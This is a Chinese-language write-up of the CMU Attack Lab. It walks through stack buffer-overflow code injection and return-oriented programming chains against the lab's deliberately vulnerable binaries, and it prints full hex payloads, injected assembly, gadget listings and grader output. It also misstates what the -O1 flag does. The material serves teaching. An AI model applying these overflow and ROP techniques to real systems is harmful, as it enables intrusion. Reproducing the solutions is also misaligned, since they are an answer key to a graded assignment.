Attack Lab 该任务涉及对两个具有不同安全漏洞的程序总共发起五次攻击,您将从本实验室获得的成果包括:
您将了解攻击者在程序不存在漏洞时利用安全漏洞的不同方式充分保护自己,防止缓冲区溢出
通过本课程,您将更好地了解如何编写更安全的程序,如以及编译器和操作系统提供的一些功能,以提高程序的安全性
您将更深入地了解 x86-64 的堆栈和参数传递机制机器代码
您将更深入地了解 x86-64 指令的编码方式
您将获得更多使用 GDB 和 OBJDUMP 等调试工具的经验
实验说明 实验文件介绍:
ctarget:易受 代码注入 攻击的可执行程序
rtarget:易受 面向返回 编程攻击的可执行程序
cookie.txt:一个8位十六进制代码,在攻击中用作唯一标识符
farm.c:目标公司的“gadget farm”的源代码,用于生成ROP链
hex2raw:一个生成攻击字符串的工具,将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符
实验要求:
你必须在与目标的机器相似的机器上完成任务
您的解决方案可能不会使用攻击绕过程序中的验证代码,明确地任何包含在攻击字符串中供ret指令使用的地址都应该是以下目的地:
函数 touch1,touch2 或 touch3 的地址
注入代码的地址
gadget farm 中一个 gadget 的地址
您只能从文件 rtarget 构建 gadget,其地址介于函数 start_farm 和 end_farm 的地址之间
缓冲区溢出 C语言对于数组引用不进行任何的边界检查,并且局部变量和状态信息都保存在栈中,对越界的数组元素进行写操作,会破坏存储在栈中的状态信息(覆盖 ret 原本应该执行的返回地址),当寄存器执行 ret 指令时就会出现严重的错误
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <stdlib.h> void explosion () { printf ("!!!You touch the explosion" ); exit (0 ); } char *custom_gets (char *s) { int c; char *dest = s; while ((c = getchar()) != '\n' && c != EOF) *dest++ = c; if (c == EOF && dest == s) return NULL ; *dest++ = '\0' ; return s; } void echo () { char buf[8 ]; custom_gets(buf); puts (buf); } int main (int argc, char * argv[]) { echo(); return 0 ; }
使用如下命令可以从c源文件生成汇编代码:
1 linux> gcc -fno-asynchronous-unwind-tables -fno-stack -protector -O1 -S test.c
-fno-asynchronous-unwind-tables
选项是用来不生成CFI指令
-fno-stack-protector
选项阻止进行栈破坏检测,默认是允许使用栈保护
-O1
不做任何优化处理
-S
生成汇编代码即结束
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 echo: endbr64 pushq %rbx subq $16 , %rsp leaq 8 (%rsp), %rbx movq %rbx, %rdi call custom_gets movq %rbx, %rdi call puts @PLT addq $16 , %rsp popq %rbx ret .size echo, .-echo .globl main .type main, @function
使用如下命令可以从c源文件生成二进制代码:
1 linux> gcc -fno-stack -protector -g test.c -o test
1 2 3 4 5 6 pwndbg> stack 00 :0000 │ rsp 0x7fffffffdd50 —▸ 0x7ffff7fb3fc8 (__exit_funcs_lock) ◂— 0x0 01 :0008 │ rax rdx-5 0x7fffffffdd58 ◂— 0x550061616161 02 :0010 │ rbp 0x7fffffffdd60 —▸ 0x7fffffffdd80 ◂— 0x0 03 :0018 │ 0x7fffffffdd68 —▸ 0x55555555527b (main+29 ) ◂— mov eax, 0 04 :0020 │ 0x7fffffffdd70 —▸ 0x7fffffffde78 —▸ 0x7fffffffe1de ◂— 0x77792f656d6f682f ('/home/yw' )
发现返回地址很容易覆盖
代码注入攻击 touch1
1 2 3 4 5 6 7 8 9 ctarget: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 2.6 .24 , BuildID[sha1]=c7b4ed7d7d986fd5b8ec8742e9c6da371ba6a504, with debug_info, not stripped [*] '/home/ywhkkx/attacklab-target1/ctarget' Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 ) FORTIFY: Enabled
1 2 3 ➜ [/home/ywhkkx/attacklab-target1] ./ctarget -q Cookie: 0x59b997fa Type string :
跟踪字符串定位到第一个输入:
对输入函数进行反汇编:
1 2 3 4 5 6 7 8 .text:00000000004017 A8 ; __unwind { .text:00000000004017 A8 sub rsp, 28 h .text:00000000004017 AC mov rdi, rsp ; dest .text:00000000004017 AF call Gets .text:00000000004017B 4 mov eax, 1 .text:00000000004017B 9 add rsp, 28 h .text:00000000004017B D retn .text:00000000004017B D ; }
通过“ sub rsp, 28h ”可以发现:它为数组“buf”提供了“0x28”字节的空间
反编译“touch1”以获取它的地址:( 0x00000000004017C0 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text:00000000004017 C0 ; void __cdecl touch1 () .text:00000000004017C0 public touch1 .text:00000000004017C0 touch1 proc near .text:00000000004017C0 ; __unwind {.text:00000000004017 C0 sub rsp, 8 .text:00000000004017 C4 mov cs:vlevel, 1 .text:00000000004017 CE mov edi, offset aTouch1YouCalle ; "Touch1!: You called touch1()" .text:00000000004017 D3 call _puts .text:00000000004017 D8 mov edi, 1 ; level .text:00000000004017 DD call validate .text:00000000004017E2 mov edi, 0 ; status .text:00000000004017E7 call _exit .text:00000000004017E7 ; } .text:00000000004017E7 touch1 endp
写payload调用“touch1”:
1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
1 2 3 4 5 6 7 8 9 ➜ [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level1.txt | ./ctarget -q Cookie: 0x59b997fa Type string :Touch1!: You called touch1 () Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
touch2
反汇编获取 touch2 的地址为:0x00000000004017EC
故技重施:
1 2 3 4 5 6 7 8 ➜ [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level2.txt | ./ctarget -q Cookie: 0x59b997fa Type string :Misfire: You called touch2 (0xee55f980 ) FAIL: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:FAIL:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EC 17 40 00 00 00 00 00
发现不通过,只好先看看 touch2 代码了:
这段程序就是验证传进来的参数val
是否和cookie
中值相等(实验给出的cookie为:0x59b997fa)
这时候就好注入代码了:(接下来的调试请用原本GDB)
1 2 3 4 movq $0x59b997fa , %rdi pushq 0x4017ec ret
1 2 3 4 5 6 7 8 9 10 11 12 ➜ [/home/ywhkkx/attacklab-target1/solutions] gcc -c inject.s ➜ [/home/ywhkkx/attacklab-target1/solutions] objdump -d inject.o inject.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0 : 48 c7 c7 fa 97 b9 59 mov $0x59b997fa ,%rdi 7 : ff 34 25 ec 17 40 00 pushq 0x4017ec e: c3 retq
思路很简单,执行这串代码,就可以把cookie赋值给第一个参数,利用程序原本的 ret 可以控制 IP 到 rsp ,代码会把 touch2 的地址压栈并用 ret 执行
接下来用GDB获取执行这串代码时,rsp 的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (gdb) break getbuf Breakpoint 1 at 0x4017a8 : file buf.c, line 12. (gdb) run -q Starting program: /home/ywhkkx/attacklab-target1/ctarget -q Cookie: 0x59b997fa Breakpoint 1 , getbuf () at buf.c:12 12 buf.c: 没有那个文件或目录.(gdb) disas Dump of assembler code for function getbuf: => 0x00000000004017a8 <+0 >: sub $0x28 ,%rsp 0x00000000004017ac <+4 >: mov %rsp,%rdi 0x00000000004017af <+7 >: callq 0x401a40 <Gets> 0x00000000004017b4 <+12 >: mov $0x1 ,%eax 0x00000000004017b9 <+17 >: add $0x28 ,%rsp 0x00000000004017bd <+21 >: retq End of assembler dump. (gdb) info r rsp rsp 0x5561dca0 0x5561dca0
结合 rsp 的地址,手写注入代码:
1 2 3 4 5 6 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
1 2 3 4 5 6 7 8 9 ➜ [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level2.txt | ./ctarget -q Cookie: 0x59b997fa Type string :Touch2!: You called touch2 (0x59b997fa ) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
touch3
出现了一个函数:
“sprintf”对 cookie 进行了操作,把它变为了16进制形式的字符串
1 2 cookie: 59b 997fa -> 35 39 62 39 39 37 66 61
思路就是:把字符串提前放入某个地址,把那个地址赋值给 rdi 就可以了
现在先考虑把字符串放在哪里
s
的位置是随机的,所以之前留在getbuf
中的数据,则有可能被hexmatch
所重写,所以放在getbuf
中并不安全。为了安全起见,我们把字符串放在getbuf
的父栈帧中,也就是test
栈帧中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 (gdb) b* 0x401968 Breakpoint 1 at 0x401968 : file visible.c, line 90. (gdb) run -q Starting program: /home/ywhkkx/attacklab-target1/ctarget -q Cookie: 0x59b997fa Breakpoint 1 , test () at visible.c:90 90 visible.c: 没有那个文件或目录.(gdb) disas Dump of assembler code for function test: => 0x0000000000401968 <+0 >: sub $0x8 ,%rsp 0x000000000040196c <+4 >: mov $0x0 ,%eax 0x0000000000401971 <+9 >: callq 0x4017a8 <getbuf> 0x0000000000401976 <+14 >: mov %eax,%edx 0x0000000000401978 <+16 >: mov $0x403188 ,%esi 0x000000000040197d <+21 >: mov $0x1 ,%edi 0x0000000000401982 <+26 >: mov $0x0 ,%eax 0x0000000000401987 <+31 >: callq 0x400df0 <__printf_chk@plt> 0x000000000040198c <+36 >: add $0x8 ,%rsp 0x0000000000401990 <+40 >: retq End of assembler dump. (gdb) info r rsp rsp 0x5561dcb0 0x5561dcb0
写入字符串的目标地址:0x5561dcb0 - 0x8
1 2 3 4 movq $0x5561dca8 , %rdi pushq 0x4018fa ret
1 2 3 4 5 6 7 8 9 10 11 12 ➜ [/home/ywhkkx/attacklab-target1/solutions] gcc -c inject.s ➜ [/home/ywhkkx/attacklab-target1/solutions] objdump -d inject.o inject.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0 : 48 c7 c7 a8 dc 61 55 mov $0x5561dca8 ,%rdi 7 : ff 34 25 fa 18 40 00 pushq 0x4018fa e: c3 retq
手写注入代码:
1 2 3 4 5 6 7 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
1 2 3 4 5 6 7 8 9 ➜ [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level3.txt | ./ctarget -q Cookie: 0x59b997fa Type string :Touch3!: You called touch3 ("59b997fa" ) Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
ROP攻击 缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦,现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式
栈随机化(PIE)
栈破坏检测(canary)
限制可执行代码区域(NX)
1 2 3 4 void setval_210 (unsigned *p) { *p = 3347663060U ; }
1 2 3 0000000000400f 15 <setval_210>: 400f 15: c7 07 d4 48 89 c7 movl $0xc78948d4 ,(%rdi) 400f 1b: c3 retq
可以使用 ret 把 IP 控制在 “0x400f18”(0x48,movq)处,控制完 rdi 后就 ret 下一个地址
这样穿起来的ROP操作就被称为ROP链
touch2 ROP
为了控制 touch2 ,我们需要把 cookie 放入 rdi 寄存器
在“farm.c”中存放有我们需要的 gadget ,这里采用 ROPgadget 工具来获取 gadget
目标:“mov xxx rdi”,“pop xxx rdi”(以下这种汇编方式和之前使用的不同)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ➜ [/home/ywhkkx/attacklab-target1] ROPgadget --binary ./rtarget --only "mov|ret" Gadgets information ============================================================ 0x0000000000401b23 : mov byte ptr [rax + 0x605500 ], 0 ; ret0x0000000000400f63 : mov byte ptr [rip + 0x20454e ], 1 ; ret0x000000000040214e : mov dword ptr [rdi + 8 ], eax ; ret0x00000000004019e1 : mov dword ptr [rdi], 0x9090d199 ; ret0x00000000004019c3 : mov dword ptr [rdi], 0x90c78948 ; ret0x0000000000401aab : mov dword ptr [rdi], 0x90e08948 ; ret0x0000000000401a5a : mov dword ptr [rdi], 0x91e08948 ; ret0x00000000004019b5 : mov dword ptr [rdi], 0x9258c254 ; ret0x00000000004019fc : mov dword ptr [rdi], 0xc084d181 ; ret0x0000000000401a97 : mov dword ptr [rdi], 0xc2e08948 ; ret0x0000000000401a6e : mov dword ptr [rdi], 0xc391d189 ; ret0x00000000004019bc : mov dword ptr [rdi], 0xc78d4863 ; ret0x00000000004019ae : mov dword ptr [rdi], 0xc7c78948 ; ret0x0000000000401a0a : mov dword ptr [rdi], 0xc908c288 ; ret0x0000000000401a7c : mov dword ptr [rdi], 0xc908ce09 ; ret0x0000000000401a75 : mov dword ptr [rdi], 0xd238c281 ; ret0x0000000000401a2c : mov dword ptr [rdi], 0xdb08ce81 ; ret0x0000000000401b10 : mov dword ptr [rip + 0x2045ee ], eax ; ret0x0000000000402dd7 : mov eax, 0 ; ret0x000000000040199a : mov eax, 0x909078fb ; ret0x00000000004019db : mov eax, 0x90c2895c ; ret0x0000000000401a91 : mov eax, 0xc020ce88 ; ret0x00000000004019f6 : mov eax, 0xc048d189 ; ret0x0000000000401a18 : mov eax, 0xc1e08948 ; ret0x00000000004019ca : mov eax, 0xc3905829 ; ret0x0000000000401a33 : mov eax, 0xc938d189 ; ret0x0000000000401a54 : mov eax, 0xc9c4c289 ; ret0x0000000000401a4e : mov eax, 0xd208d199 ; ret0x0000000000401aa5 : mov eax, 0xd220ce8d ; ret0x0000000000401a68 : mov eax, 0xdb08d189 ; ret0x0000000000401994 : mov eax, 1 ; ret0x0000000000401a07 : mov eax, esp ; ret0x0000000000401a9a : mov eax, esp ; ret 0x8dc3 0x00000000004019b2 : mov edi, 0x5407c7c3 ; ret 0x9258 0x00000000004019a3 : mov edi, eax ; ret 0x000000000040214d : mov qword ptr [rdi + 8 ], rax ; ret0x0000000000401a06 : mov rax, rsp ; ret0x0000000000401a99 : mov rax, rsp ; ret 0x8dc3 0x00000000004019a2 : mov rdi, rax ; ret0x0000000000400c55 : ret0x0000000000403fbc : ret 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ➜ [/home/ywhkkx/attacklab-target1] ROPgadget --binary ./rtarget --only "pop|ret" Gadgets information ============================================================ 0x0000000000402b12 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040137e : pop r12 ; pop r13 ; pop r14 ; ret0x00000000004021d7 : pop r12 ; pop r13 ; ret0x00000000004018f7 : pop r12 ; ret0x0000000000402b14 : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401380 : pop r13 ; pop r14 ; ret0x00000000004021d9 : pop r13 ; ret0x0000000000402b16 : pop r14 ; pop r15 ; ret0x0000000000401382 : pop r14 ; ret0x0000000000402b18 : pop r15 ; ret0x0000000000402b11 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040137d : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret0x00000000004021d6 : pop rbp ; pop r12 ; pop r13 ; ret0x00000000004018f6 : pop rbp ; pop r12 ; ret0x0000000000402b15 : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000401381 : pop rbp ; pop r14 ; ret0x0000000000400ef5 : pop rbp ; ret0x000000000040137c : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret0x00000000004021d5 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret0x00000000004018f5 : pop rbx ; pop rbp ; pop r12 ; ret0x00000000004011aa : pop rbx ; pop rbp ; ret0x0000000000401dab : pop rbx ; ret0x000000000040141b : pop rdi ; ret 0x0000000000402b17 : pop rsi ; pop r15 ; ret0x0000000000401383 : pop rsi ; ret
发现直接有 “ pop rdi ”,就使用它了(地址0x000000000040141b)
1 2 3 4 5 6 7 8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 14 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 ec 17 40 00 00 00 00 00
1 2 3 4 5 6 7 8 9 10 11 ➜ [/home/ywhkkx/attacklab-target1] ./hex2raw -i solutions/level2ROP.txt | ./rtarget -q Cookie: 0x59b997fa Type string :Touch2!: You called touch2 (0x59b997fa ) Valid solution for level 2 with target rtarget Ouch!: You caused a segmentation fault! Better luck next time FAIL: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:FAIL:0xffffffff:rtarget:0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B 14 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00
touch3 ROP
和 touch3 相同,因为 cookie 是字符串,所以不能直接传参 rdi ,只能通过写入固定地址的方式间接传参
大体思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 0x401a06 : mov %rsp, %rax retq 0x4019a2 : mov %rax, %rdi retq 0x4019cc : pop %rax retq 0x4019dd : mov %eax, %edx retq 0x401a70 : mov %edx, %ecx retq 0x401a13 : mov %ecx, %esi retq 0x4019d6 : lea (%rdi,%rsi,1 ),%rax retq 0x4019a2 : mov %rax, %rdi retq
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1 a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1 a 40 00 00 00 00 00 13 1 a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
作为一名pwn手,感觉这些都很基础
以前一直依赖 pwntools 进行攻击,现在感受了一把手工入侵,算是长见识了吧